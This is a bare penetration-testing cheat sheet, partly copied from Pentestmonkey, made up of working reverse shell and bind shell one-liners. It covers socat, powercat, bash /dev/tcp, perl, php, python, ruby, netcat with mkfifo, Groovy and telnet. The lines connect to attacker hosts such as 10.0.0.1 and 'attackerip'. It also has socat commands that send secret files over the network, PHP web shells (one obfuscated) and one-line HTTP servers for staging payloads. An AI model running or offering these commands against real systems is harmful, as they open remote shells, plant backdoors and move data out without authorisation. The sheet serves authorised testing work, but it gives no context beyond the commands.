======
Many copied from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Pentestmonkey: Reverse Shell Cheat Sheet</a>
socat file:`tty`,raw,echo=0 tcp-listen:4444 (listener)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4444 (client)
socat - TCP4:10.1.1.1:110
sudo socat TCP4-LISTEN:443 STDOUT
sudo socat TCP4-LISTEN:443,fork file:secret.txt
socat TCP4:10.1.1.1:443 file:new_secrets.txt,create
socat -d -d TCP4-LISTEN:443
socat TCP4:10.1.1.1:443 EXEC:/bin/bash
socat OPENSSL-LISTEN:443,cert=priv.pem,verify=0,fork EXE C:/bin/bash
socat - OPENSSL:10.1.1.1:443,verify=0
Import-Module ./powercat.ps1
powercat -c 10.1.1.11 -p 443 -i C:\tmp\file-to-transfer.ps1
powercat -c 10.1.1.1 -p 443 -e cmd.exe
powercat -l -p 443 -e cmd.exe
powercat -c 10.1.1.1 -p 443 -e cmd.exe -g > reverseshell.ps1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
0<&196;exec 196<>/dev/tcp/<IP>/443; sh <&196 >&196 2>&196
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp
<?php echo system($_GET['h00p']);?>
<?={${~a0b8baab}[a0]}
;
<?$_GET[_]
;
python -m SimpleHTTPServer 8888
python -m http.server --bind 0.0.0.0 8888
php -S 0.0.0.0:8888
ruby -run -e httpd . -p 8888
busybox httpd -f -p 8888